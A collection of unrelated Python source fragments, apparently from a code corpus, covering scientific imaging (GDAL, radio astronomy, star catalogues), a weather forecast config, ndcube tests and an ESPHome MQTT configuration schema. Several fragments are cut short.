# starts the webserver
start(MyApp, address='0.0.0.0', port=0, start_browser=True, username=None, password=None)
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] | 3.385965 | 228 |
"""Swap bands in a raster satellite image"""
# http://git.io/vqs41
from gdal import gdal_array
# name of our source image
src = "FalseColor.tif"
# load the source image into an array
arr = gdal_array.LoadFile(src)
# swap bands 1 and 2 for a natural color image.
# We will use numpy "advanced slicing" to reorder the bands.
# Using the source image
output = gdal_array.SaveArray(arr[[1, 0, 2], :], "swap.tif",
format="GTiff", prototype=src)
# Dereference output to avoid corrupted file on some platforms
output = None | [
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] | 2.919355 | 186 |
import os
import matplotlib.pyplot as plt
import scipy.io.wavfile as wav
from runner import Runner
| [
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] | 3.030303 | 33 |
from django.apps import AppConfig
from photo.config import app_config
| [
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] | 3.888889 | 18 |
#!/usr/bin/env python
#
# Server that will accept connections from a Vim channel.
# Used by test_channel.vim.
#
# This requires Python 2.6 or later.
from __future__ import print_function
import json
import socket
import sys
import time
import threading
try:
# Python 3
import socketserver
except ImportError:
# Python 2
import SocketServer as socketserver
if __name__ == "__main__":
main("localhost", 0)
| [
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] | 3.186567 | 134 |
##
# This software was developed and / or modified by Raytheon Company,
# pursuant to Contract DG133W-05-CQ-1067 with the US Government.
#
# U.S. EXPORT CONTROLLED TECHNICAL DATA
# This software product contains export-restricted data whose
# export/transfer/disclosure is restricted by U.S. law. Dissemination
# to non-U.S. persons whether in the United States or abroad requires
# an export license or other authorization.
#
# Contractor Name: Raytheon Company
# Contractor Address: 6825 Pine Street, Suite 340
# Mail Stop B8
# Omaha, NE 68106
# 402.291.0100
#
# See the AWIPS II Master Rights File ("Master Rights File.pdf") for
# further licensing information.
##
##
# This is a base file that is not intended to be overridden.
##
# ---------------------------------------------------------------------
# This software is in the public domain, furnished "as is", without
# technical support, and with no warranty, express or implied, as to
# its usefulness for any purpose.
#
# CWF_Pacific_<site>_<MultiPil>_Definition.TextUtility
#
# This file sets up all the Product Definition overrides for the
# CWF_Pacific formatter for a site.
#
# ---------------------------------------------------------------------
#**********************************************************************
# MAKE NO CHANGES HERE
# The minimum content of this file is the following Definition statement
Definition = {}
# End MAKE NO CHANGES HERE
#**********************************************************************
#####################################################
# Override VariableList if desired
#
#VariableList = []
#----- WFO <site> CWF_Pacific Definition -----
# Definition Statements must start in column 1.
# REQUIRED CONFIGURATION ITEMS
#Definition['displayName'] = None
Definition['displayName'] = "CWFPacific_<MultiPil>"
Definition["showZoneCombiner"] = 1 # 1 to cause zone combiner to display
Definition["defaultEditAreas"] = "Combinations_CWF_<site>_<MultiPil>"
Definition["mapNameForCombinations"] = "Marine_Zones_<site>" # Map background for creating Combinations
#Special multiple product domains for certain sites:
if "<site>" == "AJK":
if "_<MultiPil>" == "_AJK":
Definition["subDomainUGCs"] = ["PKZ011","PKZ012","PKZ013","PKZ021",
"PKZ022","PKZ031","PKZ032","PKZ033",
"PKZ034","PKZ035","PKZ036"]
elif "_<MultiPil>" == "_AEG":
Definition["subDomainUGCs"] = ["PKZ041","PKZ042","PKZ043","PKZ051",
"PKZ052"]
elif "<site>" == "GUM":
if "_<MultiPil>" == "_MY":
Definition["subDomainUGCs"] = ["PMZ151","PMZ152","PMZ153","PMZ154"]
elif "_<MultiPil>" == "_PQ":
Definition["subDomainUGCs"] = ["PMZ161","PMZ171","PMZ172","PMZ173",
"PMZ174","PMZ181","PMZ191"]
elif "<site>" == "AFG":
if "_<MultiPil>" == "_NSB":
Definition["subDomainUGCs"] = ["PKZ225","PKZ230","PKZ235","PKZ240",
"PKZ245"]
elif "_<MultiPil>" == "_WCZ":
Definition["subDomainUGCs"] = ["PKZ200","PKZ210","PKZ215","PKZ220"]
# Header configuration items
#Definition["productName"] = "Coastal Waters Forecast" # name of product
Definition["fullStationID"] = "<fullStationID>" # full station identifier (4letter)
Definition["wmoID"] = "<wmoID>" # WMO ID
Definition["pil"] = "<pil>" # product pil
Definition["areaName"] = "<state>" # Name of state, such as "Georgia"
Definition["wfoCityState"] = "<wfoCityState>" # Location of WFO - city st
Definition["textdbPil"] = "<textdbPil>" # Product ID for storing to AWIPS text database.
Definition["awipsWANPil"] = "<awipsWANPil>" # Product ID for transmitting to AWIPS WAN.
Definition["outputFile"] = "{prddir}/TEXT/CWF_<MultiPil>.txt"
# OPTIONAL CONFIGURATION ITEMS
#Definition["database"] = "Official" # Source database. "Official", "Fcst", or "ISC"
#Definition["debug"] = 1
#Definition["hazardSamplingThreshold"] = (10, None) #(%cov, #points)
#Definition["editAreaSuffix"] = "_pt"
#Definition["periodCombining"] = 1 # If 1, do period combining
#Definition["includeEveningPeriod"] = 0 # If 1, include Evening Period
#Definition["useAbbreviations"] = 0 # If 1, use marine abbreviations
# Weather-related flags
#Definition["hoursSChcEnds"] = 24
# River Bar Zones
#Definition["riverBarZones"] = []
#Definition["areaDictionary"] = "AreaDictionary" # For product headers
#Definition["language"] = "english"
#Definition["lineLength"] = 66
#Definition["useHolidays"] = 1
# Trouble-shooting items
#Definition["passLimit"] = 20 # Limit on passes allowed through Narrative Tree
#Definition["trace"] = 1 # Set to 1 to turn on trace through
# Narrative Tree for trouble-shooting
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from django.db import models
from django.utils.translation import ugettext_lazy as _
from ...commons.models import BaseModel
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NOT_AVAILABLE = 'N/A'
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import numpy as np
import pandas as pd
import time, gc
from GV_Catalogue_Gen import angularDistance
def genSigmaCatalogue(CATALOGUE, mag_limit = 6, FOV_limit = 20):
'''
Generates the mean of the sigma for each star in the catalogue.
Sigma between star A and star B is defined as (1/6) of the angular
distance between the two stars.
Such values of sigma are calculated for star A to every other star
in the catalogue that are its nearest neighbours, i.e., all those
stars within a circular FOV defined by FOV_limit.
This set of sigma values is defined as sigma_n.
The mean of all the elements of sigma_n gives us mu_n.
This mean value is paired with the corresponding star A.
This process repeats for every star in the catalogue, and the star IDs
the corresponding mu_n values are collated in a dataframe.
Parameters
----------
CATALOGUE : pd.Dataframe
The 'master' star catalogue on which the function works
mag_limit : floating-point number, default = 6
The upper magnitude limit of stars that are required in the reference catalogue
FOV_limit: floating-point number, default = 20
Defines the circular radius (in degrees) which demarcates which stars from the
catalogue are to be considered as nearest neighbours for a given star
Returns
-------
SIGMA_CATALOGUE : pd.Dataframe
The dataframe collated from the star IDs and their corresponding mu_n
'''
# Start clock-1
start1 = time.time()
# Generate restricted catalogue based on upper magnitude limit
temp0 = CATALOGUE[CATALOGUE.Mag <= mag_limit]
# Number of rows in the resticted catalogue
rows = temp0.shape[0]
# Resets the index of <temp0>
temp0.index = list(range(rows))
# Prints total number of stars in <temp0> and the (n)X(n-1)- unique combinations per star
print('Number of stars - ', rows)
print('Number of unique combinations per star= ', (rows-1)*rows)
# Initialize the number of iterations to take place
no_iter = (rows)
# Initialize SIGMA_CATALOGUE
SIGMA_CATALOGUE = pd.DataFrame(columns=['Star_ID', 'mu_n'])
for i in range(no_iter):
# Throws error if an iteration runs beyond number of available rows in <temp0>
assert i<(rows), 'IndexError: iterating beyond available number of rows'
# Generates <temp1> dataframe which has the (i - th) star of <temp0>
# repetated (rows-1) times
temp1 = pd.DataFrame(columns = ['Star_ID1','RA_1', 'Dec_1', 'Mag_1'])
s1, ra, dec, mag = temp0.iloc[i]
temp1.loc[0] = [s1] + [ra] + [dec] + [mag]
temp1 = pd.concat([temp1]*(rows-1), ignore_index=True)
# Stores value of the star_ID for which mu_n will be calculated
star_id_i = s1
# Generates <temp2> dataframe by copying values of <temp0> and dropping the
# (i -th) row from it
temp2 = temp0
temp2 = temp2.drop([i], axis = 0)
# Resets the index
temp2.index = list(range(0, rows-1))
# Concatenates <temp1> & <temp2> side-by-side such that resulting <temp3> has (8) columns altogether
temp3 = pd.concat([temp1, temp2], axis=1)
# Renaming columns of <temp3>
temp3.columns = ['Star_ID1','RA_1', 'Dec_1', 'Mag_1', 'Star_ID2', 'RA_2', 'Dec_2', 'Mag_2']
# Calculate angular distance between the two stars present in every row in <temp3>
cols = ['RA_1', 'RA_2', 'Dec_1', 'Dec_2']
temp3['Ang_Distance'] = temp3.apply(angularDistance, axis = 1, col_names = cols)
# Generates <temp4> by selecting rows from <temp3> whose angular distances is
# less than equal to the circular FOV limit
temp4 = temp3[temp3.Ang_Distance <= FOV_limit]
# Stores the value of the calculated mu_n for the current star
mu_n_i = temp4.Ang_Distance.mean()
# Multiply (mu_n_i) by (1/6) since sigma_i = Ang_distance_i, for all (i)
mu_n_i = mu_n_i/6
# Appends the entry to the SIGMA_CATALOGUE dataframe
SIGMA_CATALOGUE = SIGMA_CATALOGUE.append({'Star_ID':star_id_i, 'mu_n':mu_n_i}, ignore_index=True)
# Releases memory back to OS
if i%100 == 0:
gc.collect()
print(i/100)
# Stop clock-1
end1 = time.time() - start1
# Print time taken
print('Time Taken - ', np.round(end1,3))
return SIGMA_CATALOGUE
def main():
'''
main function
'''
# Reads 'Master' star catalogue
CATALOGUE = pd.read_csv(r"F:\IIT Bombay\SatLab\Star Tracker\Programs\Catalogues\Modified Star Catalogue.csv")
# StarID: The database primary key from a larger "master database" of stars
# Mag: The star's apparent visual magnitude
# RA, Dec: The star's right ascension and declination, for epoch 2000.0 (Unit: RA - hrs; Dec - degrees)
# Sorts <CATALOGUE>
CATALOGUE.sort_values('Mag', inplace=True)
# Run function
result = genSigmaCatalogue(CATALOGUE, mag_limit = 6, FOV_limit = 20)
# Sort <result>
result.sort_values('mu_n', inplace=True)
# Generates CSV of <result>
result.to_csv('SigmaCatalogue.csv', index = False)
print('Done')
if __name__ == '__main__':
main()
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] | 2.34305 | 2,367 |
import bpy
from mathutils import Color
if __name__ == "__main__":
create(bpy.context.active_object) | [
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8
] | 2.891892 | 37 |
# -*- coding: utf-8 -*-
from checks import AgentCheck
from boto3.session import Session
import datetime
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] | 3.181818 | 33 |
import datetime as DT
import numpy as NP
import matplotlib.pyplot as PLT
import matplotlib.colors as PLTC
import scipy.constants as FCNST
from astropy.io import fits
from astropy.io import ascii
from astropy.table import Table
import progressbar as PGB
import antenna_array as AA
import geometry as GEOM
import my_DSP_modules as DSP
import sim_observe as SIM
import ipdb as PDB
LWA_reformatted_datafile_prefix = '/data3/t_nithyanandan/project_MOFF/data/samples/lwa_reformatted_data_test'
LWA_pol0_reformatted_datafile = LWA_reformatted_datafile_prefix + '.pol-0.fits'
LWA_pol1_reformatted_datafile = LWA_reformatted_datafile_prefix + '.pol-1.fits'
max_n_timestamps = 9
hdulist0 = fits.open(LWA_pol0_reformatted_datafile)
hdulist1 = fits.open(LWA_pol1_reformatted_datafile)
extnames = [h.header['EXTNAME'] for h in hdulist0]
lat = hdulist0['PRIMARY'].header['latitude']
f0 = hdulist0['PRIMARY'].header['center_freq']
nchan = hdulist0['PRIMARY'].header['nchan']
dt = 1.0 / hdulist0['PRIMARY'].header['sample_rate']
freqs = hdulist0['freqs'].data
channel_width = freqs[1] - freqs[0]
f_center = f0
bchan = 63
echan = 963
max_antenna_radius = 40.0 # in meters
# max_antenna_radius = 75.0 # in meters
antid = hdulist0['Antenna Positions'].data['Antenna']
antpos = hdulist0['Antenna Positions'].data['Position']
# antpos -= NP.mean(antpos, axis=0).reshape(1,-1)
core_ind = NP.logical_and((NP.abs(antpos[:,0]) < max_antenna_radius), (NP.abs(antpos[:,1]) < max_antenna_radius))
# core_ind = NP.logical_and((NP.abs(antpos[:,0]) <= NP.max(NP.abs(antpos[:,0]))), (NP.abs(antpos[:,1]) < NP.max(NP.abs(antpos[:,1]))))
ant_info = NP.hstack((antid[core_ind].reshape(-1,1), antpos[core_ind,:]))
n_antennas = ant_info.shape[0]
ants = []
aar = AA.AntennaArray()
for i in xrange(n_antennas):
ant = AA.Antenna('{0:0d}'.format(int(ant_info[i,0])), lat, ant_info[i,1:], f0, nsamples=nchan)
ant.f = ant.f0 + DSP.spectax(2*nchan, dt, shift=True)
ants += [ant]
aar = aar + ant
timestamps = hdulist0['TIMESTAMPS'].data['timestamp']
if max_n_timestamps is None:
max_n_timestamps = len(timestamps)
else:
max_n_timestamps = min(max_n_timestamps, len(timestamps))
timestamps = timestamps[:max_n_timestamps]
stand_cable_delays = NP.loadtxt('/data3/t_nithyanandan/project_MOFF/data/samples/cable_delays.txt', skiprows=1)
antennas = stand_cable_delays[:,0].astype(NP.int).astype(str)
cable_delays = stand_cable_delays[:,1]
iar = AA.InterferometerArray(antenna_array=aar)
iar.grid()
count = 0
for i in xrange(max_n_timestamps):
timestamp = timestamps[i]
antenna_level_update_info = {}
antenna_level_update_info['antenna_array'] = {}
antenna_level_update_info['antenna_array']['timestamp'] = timestamp
antenna_level_update_info['antennas'] = []
for label in iar.antenna_array.antennas:
adict = {}
adict['label'] = label
adict['action'] = 'modify'
adict['timestamp'] = timestamp
adict['Et'] = {}
adict['flags'] = {}
adict['delaydict'] = {}
if label in hdulist0[timestamp].columns.names:
adict['t'] = NP.arange(nchan) * dt
Et_P1 = hdulist0[timestamp].data[label]
adict['Et']['P1'] = Et_P1[:,0] + 1j * Et_P1[:,1]
adict['flags']['P1'] = False
# adict['gridfunc_freq'] = 'scale'
# adict['wtsinfo_P1'] = [{'orientation':0.0, 'lookup':'/data3/t_nithyanandan/project_MOFF/simulated/LWA/data/lookup/E_illumination_isotropic_radiators_lookup_zenith.txt'}]
# adict['gridmethod'] = 'NN'
# adict['distNN'] = 0.5 * FCNST.c / f0
# adict['tol'] = 1.0e-6
# adict['maxmatch'] = 1
adict['delaydict']['P1'] = {}
adict['delaydict']['P1']['frequencies'] = hdulist0['FREQUENCIES AND CABLE DELAYS'].data['frequency']
# adict['delaydict_P1']['delays'] = hdulist0['FREQUENCIES AND CABLE DELAYS'].data[label]
adict['delaydict']['P1']['delays'] = cable_delays[antennas == label]
adict['delaydict']['P1']['fftshifted'] = True
else:
adict['flags']['P1'] = True
if label in hdulist1[timestamp].columns.names:
adict['t'] = NP.arange(nchan) * dt
Et_P2 = hdulist1[timestamp].data[label]
adict['Et']['P2'] = Et_P2[:,0] + 1j * Et_P2[:,1]
adict['flags']['P2'] = False
# adict['gridfunc_freq'] = 'scale'
# adict['wtsinfo_P2'] = [{'orientation':0.0, 'lookup':'/data3/t_nithyanandan/project_MOFF/simulated/LWA/data/lookup/E_illumination_isotropic_radiators_lookup_zenith.txt'}]
# adict['gridmethod'] = 'NN'
# adict['distNN'] = 0.5 * FCNST.c / f0
# adict['tol'] = 1.0e-6
# adict['maxmatch'] = 1
adict['delaydict']['P2'] = {}
adict['delaydict']['P2']['frequencies'] = hdulist1['FREQUENCIES AND CABLE DELAYS'].data['frequency']
# adict['delaydict_P2']['delays'] = hdulist1['FREQUENCIES AND CABLE DELAYS'].data[label]
adict['delaydict']['P2']['delays'] = cable_delays[antennas == label]
adict['delaydict']['P2']['fftshifted'] = True
else:
adict['flags']['P2'] = True
antenna_level_update_info['antennas'] += [adict]
# if label in hdulist1[timestamp].columns.names:
# adict['t'] = NP.arange(nchan) * dt
# Et_P2 = hdulist1[timestamp].data[label]
# adict['Et_P2'] = Et_P2[:,0] + 1j * Et_P2[:,1]
# adict['flag_P2'] = False
# # adict['gridfunc_freq'] = 'scale'
# # adict['wtsinfo_P2'] = [{'orientation':0.0, 'lookup':'/data3/t_nithyanandan/project_MOFF/simulated/LWA/data/lookup/E_illumination_isotropic_radiators_lookup_zenith.txt'}]
# # adict['gridmethod'] = 'NN'
# # adict['distNN'] = 0.5 * FCNST.c / f0
# # adict['tol'] = 1.0e-6
# # adict['maxmatch'] = 1
# adict['delaydict_P2'] = {}
# adict['delaydict_P2']['pol'] = 'P2'
# adict['delaydict_P2']['frequencies'] = hdulist0['FREQUENCIES AND CABLE DELAYS'].data['frequency']
# # adict['delaydict_P2']['delays'] = hdulist0['FREQUENCIES AND CABLE DELAYS'].data[label]
# adict['delaydict_P2']['delays'] = cable_delays[antennas == label]
# adict['delaydict_P2']['fftshifted'] = True
# else:
# adict['flag_P2'] = True
interferometer_level_update_info = {}
interferometer_level_update_info['interferometers'] = []
for label in iar.interferometers:
idict = {}
idict['label'] = label
idict['action'] = 'modify'
idict['gridfunc_freq'] = 'scale'
idict['gridmethod'] = 'NN'
idict['distNN'] = 0.5 * FCNST.c / f0
idict['tol'] = 1.0e-6
idict['maxmatch'] = 1
idict['wtsinfo'] = {}
for pol in ['P11', 'P12', 'P21', 'P22']:
idict['wtsinfo'][pol] = [{'orientation':0.0, 'lookup':'/data3/t_nithyanandan/project_MOFF/simulated/LWA/data/lookup/E_illumination_isotropic_radiators_lookup_zenith.txt'}]
interferometer_level_update_info['interferometers'] += [idict]
iar.update(antenna_level_updates=antenna_level_update_info, interferometer_level_updates=interferometer_level_update_info, do_correlate='FX', parallel=True, verbose=True)
iar.grid_convolve(pol='P11', method='NN', distNN=0.5*FCNST.c/f0, tol=1.0e-6, maxmatch=1, identical_interferometers=True, gridfunc_freq='scale', mapping='weighted', wts_change=False, parallel=True, pp_method='queue')
imgobj = AA.NewImage(interferometer_array=iar, pol='P11')
imgobj.imagr(weighting='natural', pol='P11')
if i == 0:
avg_img = imgobj.img['P11']
else:
avg_img += imgobj.img['P11']
avg_img /= max_n_timestamps
fig = PLT.figure()
ax = fig.add_subplot(111)
imgplot = ax.imshow(NP.mean(avg_img, axis=2), aspect='equal', origin='lower', extent=(imgobj.gridl.min(), imgobj.gridl.max(), imgobj.gridm.min(), imgobj.gridm.max()))
# posplot, = ax.plot(skypos[:,0], skypos[:,1], 'o', mfc='none', mec='black', mew=1, ms=8)
ax.set_xlim(imgobj.gridl.min(), imgobj.gridl.max())
ax.set_ylim(imgobj.gridm.min(), imgobj.gridm.max())
PLT.savefig('/data3/t_nithyanandan/project_MOFF/data/samples/figures/FX_LWA_sample_image_{0:0d}_iterations.png'.format(max_n_timestamps), bbox_inches=0)
PDB.set_trace()
PLT.close(fig)
fig = PLT.figure()
ax = fig.add_subplot(111)
imgplot = ax.imshow(NP.mean(imgobj.beam['P11'], axis=2), aspect='equal', origin='lower', extent=(imgobj.gridl.min(), imgobj.gridl.max(), imgobj.gridm.min(), imgobj.gridm.max()))
ax.set_xlim(imgobj.gridl.min(), imgobj.gridl.max())
ax.set_ylim(imgobj.gridm.min(), imgobj.gridm.max())
PLT.savefig('/data3/t_nithyanandan/project_MOFF/data/samples/figures/FX_LWA_psf.png'.format(itr), bbox_inches=0)
PLT.close(fig)
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5647,
8,
628
] | 2.085936 | 4,259 |
import json
import os
from opts import parse_opts
opt = parse_opts()
# prepare train.txt
with open(os.path.join(opt.dataset_path, 'json_dataset','annotations_train.json'), 'r') as f:
annotations = json.load(f)
sg_train_images = os.listdir(os.path.join(opt.dataset_path,'sg_dataset','sg_train_images'))
sg_test_images = os.listdir(os.path.join(opt.dataset_path,'sg_dataset','sg_test_images'))
annotations_copy = annotations.copy()
for ann in annotations.items():
if(not annotations[ann[0]] or ann[0] not in sg_train_images):
annotations_copy.pop(ann[0])
with open(os.path.join(opt.dataset_path, 'train.txt'),'a') as f:
for ann in annotations_copy.items():
f.write(ann[0])
f.write('\n')
# prepare test.txt
with open(os.path.join(opt.dataset_path, 'json_dataset','annotations_test.json'), 'r') as f:
annotations = json.load(f)
annotations_copy = annotations.copy()
for ann in annotations.items():
if(not annotations[ann[0]] or ann[0] not in sg_test_images):
annotations_copy.pop(ann[0])
with open(os.path.join(opt.dataset_path, 'test.txt'),'a') as f:
for ann in annotations_copy.items():
f.write(ann[0])
f.write('\n')
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] | 2.378168 | 513 |
# -*- coding: utf-8 -*-
import pytest
import unittest
import numpy as np
import astropy.wcs
from ndcube import utils
from ndcube.tests import helpers
ht = {'CTYPE3': 'HPLT-TAN', 'CUNIT3': 'deg', 'CDELT3': 0.5, 'CRPIX3': 0, 'CRVAL3': 0, 'NAXIS3': 2,
'CTYPE2': 'WAVE ', 'CUNIT2': 'Angstrom', 'CDELT2': 0.2, 'CRPIX2': 0, 'CRVAL2': 0,
'NAXIS2': 3,
'CTYPE1': 'TIME ', 'CUNIT1': 'min', 'CDELT1': 0.4, 'CRPIX1': 0, 'CRVAL1': 0, 'NAXIS1': 4}
wt = utils.wcs.WCS(header=ht, naxis=3)
ht_with_celestial = {
'CTYPE4': 'HPLN-TAN', 'CUNIT4': 'deg', 'CDELT4': 1, 'CRPIX4': 0, 'CRVAL4': 0, 'NAXIS4': 1,
'CNAME4': 'redundant axis', 'CROTA4': 0,
'CTYPE3': 'HPLT-TAN', 'CUNIT3': 'deg', 'CDELT3': 0.5, 'CRPIX3': 0, 'CRVAL3': 0, 'NAXIS3': 2,
'CTYPE2': 'WAVE ', 'CUNIT2': 'Angstrom', 'CDELT2': 0.2, 'CRPIX2': 0, 'CRVAL2': 0,
'NAXIS2': 3,
'CTYPE1': 'TIME ', 'CUNIT1': 'min', 'CDELT1': 0.4, 'CRPIX1': 0, 'CRVAL1': 0, 'NAXIS1': 4}
hm = {'CTYPE1': 'WAVE ', 'CUNIT1': 'Angstrom', 'CDELT1': 0.2, 'CRPIX1': 0, 'CRVAL1': 10,
'NAXIS1': 4,
'CTYPE2': 'HPLT-TAN', 'CUNIT2': 'deg', 'CDELT2': 0.5, 'CRPIX2': 2, 'CRVAL2': 0.5,
'NAXIS2': 3,
'CTYPE3': 'HPLN-TAN', 'CUNIT3': 'deg', 'CDELT3': 0.4, 'CRPIX3': 2, 'CRVAL3': 1, 'NAXIS3': 2}
wm = utils.wcs.WCS(header=hm, naxis=3)
hm_reindexed_102 = {
'CTYPE2': 'WAVE ', 'CUNIT2': 'Angstrom', 'CDELT2': 0.2, 'CRPIX2': 0, 'CRVAL2': 10,
'NAXIS2': 4,
'CTYPE1': 'HPLT-TAN', 'CUNIT1': 'deg', 'CDELT1': 0.5, 'CRPIX1': 2, 'CRVAL1': 0.5, 'NAXIS1': 3,
'CTYPE3': 'HPLN-TAN', 'CUNIT3': 'deg', 'CDELT3': 0.4, 'CRPIX3': 2, 'CRVAL3': 1, 'NAXIS3': 2}
wm_reindexed_102 = utils.wcs.WCS(header=hm_reindexed_102, naxis=3)
@pytest.mark.parametrize("test_input,expected", [(ht, True), (hm, False)])
@pytest.mark.parametrize("test_input,expected", [((ht, 3), ht_with_celestial)])
@pytest.mark.parametrize(
"test_input,expected",
[({}, False),
([slice(1, 5), slice(-1, -5, -2)], True)])
@pytest.mark.parametrize(
"test_input,expected",
[({}, []),
((slice(1, 2), slice(1, 3), 2, slice(2, 4), 8),
[slice(1, 2, None), slice(1, 3, None), slice(2, 3, None),
slice(2, 4, None), slice(8, 9, None)])])
@pytest.mark.parametrize("test_input,expected", [
((wm, np.array([1, 0, 2])), wm_reindexed_102),
((wm, np.array([1, 0, -1])), wm_reindexed_102)
])
@pytest.mark.parametrize("test_input", [
(TypeError, wm, 0),
(TypeError, wm, np.array(['spam', 'eggs', 'ham'])),
])
@pytest.mark.parametrize("test_input,expected", [
((wm, 0, [False, False, False]), (0, 1)),
((wm, 1, [False, False, False]), (0, 1)),
((wm, 2, [False, False, False]), (2,)),
((wm, 1, [False, False, True]), (1,))
])
@pytest.mark.parametrize("test_input,expected", [
((wm, 0), (0,)),
((wm, 1), (1, 2)),
((wm, 2), (1, 2)),
])
@pytest.mark.parametrize("test_input,expected", [
(wm, np.array([[True, False, False], [False, True, True], [False, True, True]])),
(wt, np.array([[True, False, False, False], [False, True, False, False],
[False, False, True, True], [False, False, True, True]])),
(wm_reindexed_102, np.array([[True, False, True], [False, True, False],
[True, False, True]]))
])
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] | 1.907887 | 1,737 |
import foo.bar.baz
__all__ = ["foo", "baz"]
reveal_type(foo)
reveal_type(foo.bar)
reveal_type(foo.bar.baz)
reveal_type(foo.bar.baz.x)
reveal_type(baz)
reveal_type(bar.baz)
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] | 1.977273 | 88 |
import re
import esphome.codegen as cg
import esphome.config_validation as cv
from esphome import automation
from esphome.automation import Condition
from esphome.components import logger
from esphome.const import (
CONF_AVAILABILITY,
CONF_BIRTH_MESSAGE,
CONF_BROKER,
CONF_CERTIFICATE_AUTHORITY,
CONF_CLIENT_ID,
CONF_COMMAND_TOPIC,
CONF_COMMAND_RETAIN,
CONF_DISCOVERY,
CONF_DISCOVERY_PREFIX,
CONF_DISCOVERY_RETAIN,
CONF_DISCOVERY_UNIQUE_ID_GENERATOR,
CONF_DISCOVERY_OBJECT_ID_GENERATOR,
CONF_ID,
CONF_KEEPALIVE,
CONF_LEVEL,
CONF_LOG_TOPIC,
CONF_ON_JSON_MESSAGE,
CONF_ON_MESSAGE,
CONF_ON_CONNECT,
CONF_ON_DISCONNECT,
CONF_PASSWORD,
CONF_PAYLOAD,
CONF_PAYLOAD_AVAILABLE,
CONF_PAYLOAD_NOT_AVAILABLE,
CONF_PORT,
CONF_QOS,
CONF_REBOOT_TIMEOUT,
CONF_RETAIN,
CONF_SHUTDOWN_MESSAGE,
CONF_SSL_FINGERPRINTS,
CONF_STATE_TOPIC,
CONF_TOPIC,
CONF_TOPIC_PREFIX,
CONF_TRIGGER_ID,
CONF_USE_ABBREVIATIONS,
CONF_USERNAME,
CONF_WILL_MESSAGE,
)
from esphome.core import coroutine_with_priority, CORE
from esphome.components.esp32 import add_idf_sdkconfig_option
DEPENDENCIES = ["network"]
AUTO_LOAD = ["json"]
CONF_IDF_SEND_ASYNC = "idf_send_async"
CONF_SKIP_CERT_CN_CHECK = "skip_cert_cn_check"
MQTT_MESSAGE_BASE = cv.Schema(
{
cv.Required(CONF_TOPIC): cv.publish_topic,
cv.Optional(CONF_QOS, default=0): cv.mqtt_qos,
cv.Optional(CONF_RETAIN, default=True): cv.boolean,
}
)
MQTT_MESSAGE_TEMPLATE_SCHEMA = cv.Any(
None, MQTT_MESSAGE_BASE, validate_message_just_topic
)
MQTT_MESSAGE_SCHEMA = cv.Any(
None,
MQTT_MESSAGE_BASE.extend(
{
cv.Required(CONF_PAYLOAD): cv.mqtt_payload,
}
),
)
mqtt_ns = cg.esphome_ns.namespace("mqtt")
MQTTMessage = mqtt_ns.struct("MQTTMessage")
MQTTClientComponent = mqtt_ns.class_("MQTTClientComponent", cg.Component)
MQTTPublishAction = mqtt_ns.class_("MQTTPublishAction", automation.Action)
MQTTPublishJsonAction = mqtt_ns.class_("MQTTPublishJsonAction", automation.Action)
MQTTMessageTrigger = mqtt_ns.class_(
"MQTTMessageTrigger", automation.Trigger.template(cg.std_string), cg.Component
)
MQTTJsonMessageTrigger = mqtt_ns.class_(
"MQTTJsonMessageTrigger", automation.Trigger.template(cg.JsonObjectConst)
)
MQTTConnectTrigger = mqtt_ns.class_("MQTTConnectTrigger", automation.Trigger.template())
MQTTDisconnectTrigger = mqtt_ns.class_(
"MQTTDisconnectTrigger", automation.Trigger.template()
)
MQTTComponent = mqtt_ns.class_("MQTTComponent", cg.Component)
MQTTConnectedCondition = mqtt_ns.class_("MQTTConnectedCondition", Condition)
MQTTBinarySensorComponent = mqtt_ns.class_("MQTTBinarySensorComponent", MQTTComponent)
MQTTClimateComponent = mqtt_ns.class_("MQTTClimateComponent", MQTTComponent)
MQTTCoverComponent = mqtt_ns.class_("MQTTCoverComponent", MQTTComponent)
MQTTFanComponent = mqtt_ns.class_("MQTTFanComponent", MQTTComponent)
MQTTJSONLightComponent = mqtt_ns.class_("MQTTJSONLightComponent", MQTTComponent)
MQTTSensorComponent = mqtt_ns.class_("MQTTSensorComponent", MQTTComponent)
MQTTSwitchComponent = mqtt_ns.class_("MQTTSwitchComponent", MQTTComponent)
MQTTTextSensor = mqtt_ns.class_("MQTTTextSensor", MQTTComponent)
MQTTNumberComponent = mqtt_ns.class_("MQTTNumberComponent", MQTTComponent)
MQTTSelectComponent = mqtt_ns.class_("MQTTSelectComponent", MQTTComponent)
MQTTButtonComponent = mqtt_ns.class_("MQTTButtonComponent", MQTTComponent)
MQTTLockComponent = mqtt_ns.class_("MQTTLockComponent", MQTTComponent)
MQTTDiscoveryUniqueIdGenerator = mqtt_ns.enum("MQTTDiscoveryUniqueIdGenerator")
MQTT_DISCOVERY_UNIQUE_ID_GENERATOR_OPTIONS = {
"legacy": MQTTDiscoveryUniqueIdGenerator.MQTT_LEGACY_UNIQUE_ID_GENERATOR,
"mac": MQTTDiscoveryUniqueIdGenerator.MQTT_MAC_ADDRESS_UNIQUE_ID_GENERATOR,
}
MQTTDiscoveryObjectIdGenerator = mqtt_ns.enum("MQTTDiscoveryObjectIdGenerator")
MQTT_DISCOVERY_OBJECT_ID_GENERATOR_OPTIONS = {
"none": MQTTDiscoveryObjectIdGenerator.MQTT_NONE_OBJECT_ID_GENERATOR,
"device_name": MQTTDiscoveryObjectIdGenerator.MQTT_DEVICE_NAME_OBJECT_ID_GENERATOR,
}
CONFIG_SCHEMA = cv.All(
cv.Schema(
{
cv.GenerateID(): cv.declare_id(MQTTClientComponent),
cv.Required(CONF_BROKER): cv.string_strict,
cv.Optional(CONF_PORT, default=1883): cv.port,
cv.Optional(CONF_USERNAME, default=""): cv.string,
cv.Optional(CONF_PASSWORD, default=""): cv.string,
cv.Optional(CONF_CLIENT_ID): cv.string,
cv.SplitDefault(CONF_IDF_SEND_ASYNC, esp32_idf=False): cv.All(
cv.boolean, cv.only_with_esp_idf
),
cv.Optional(CONF_CERTIFICATE_AUTHORITY): cv.All(
cv.string, cv.only_with_esp_idf
),
cv.SplitDefault(CONF_SKIP_CERT_CN_CHECK, esp32_idf=False): cv.All(
cv.boolean, cv.only_with_esp_idf
),
cv.Optional(CONF_DISCOVERY, default=True): cv.Any(
cv.boolean, cv.one_of("CLEAN", upper=True)
),
cv.Optional(CONF_DISCOVERY_RETAIN, default=True): cv.boolean,
cv.Optional(
CONF_DISCOVERY_PREFIX, default="homeassistant"
): cv.publish_topic,
cv.Optional(CONF_DISCOVERY_UNIQUE_ID_GENERATOR, default="legacy"): cv.enum(
MQTT_DISCOVERY_UNIQUE_ID_GENERATOR_OPTIONS
),
